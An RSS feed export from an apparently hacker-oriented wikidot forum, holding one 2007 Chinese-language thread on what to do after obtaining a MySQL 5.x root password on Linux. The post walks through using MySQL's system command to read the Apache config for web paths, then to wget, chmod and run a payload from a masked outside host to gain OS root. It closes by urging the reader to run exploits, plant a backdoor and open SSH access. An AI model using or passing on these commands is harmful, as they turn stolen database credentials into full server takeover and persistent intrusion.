<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wikidot="http://www.wikidot.com/rss-namespace">

	<channel>
		<title>0v3rl04d - new forum threads</title>
		<link>http://0v3rl04d.wikidot.com/forum/start</link>
		<description>Threads in forums of the site &quot;0v3rl04d&quot;</description>
				<copyright></copyright>
		<lastBuildDate></lastBuildDate>
		
					<item>
				<guid>http://0v3rl04d.wikidot.com/forum/t-30245</guid>
				<title>linux 之 mysql 5.x 拿到 root passwd 的後續動作</title>
				<link>http://0v3rl04d.wikidot.com/forum/t-30245/linux-mysql-5-x-root-passwd</link>
				<description></description>
				<pubDate>Fri, 07 Dec 2007 17:00:18 +0000</pubDate>
				<wikidot:authorName>59.116.136.185</wikidot:authorName>								<content:encoded>
					<![CDATA[
						 <p>以往拿到 mysql 的 root passwd, 都是先建立一個 table, 然後 outfile.<br /> 搞到一個 webshell, 再提升權限.<br /> 這些需要 web 的絕對路徑, 也有機會遇到 sql injecion 的部份.</p> <p>mysql 5.x 有引入一個 system 函數, 可執行系統指令.</p> <p>mysql&gt;system vi /etc/httpd/conf/httpd.conf;<br /> 可拿到 web 的絕對路徑, 不過不是拿來搞 webshell 的, 可以搞更邪惡的東西.</p> <p>mysql&gt;system wget <a href="http://xxxx.xxx.com/xxxx">http://xxxx.xxx.com/xxxx</a> ;<br /> mysql&gt;system chmod +x xxxx;<br /> mysql&gt;system ./xxxx;</p> <p>這樣就把 mysql 的 root 換成 system root 了, 接下來要跑 exp, 裝 backboor, 開 ssh 進來 &lt;用 mysql 的 root passwd&gt; 都隨你搞了.</p> 
				 	]]>
				</content:encoded>							</item>
				</channel>
</rss>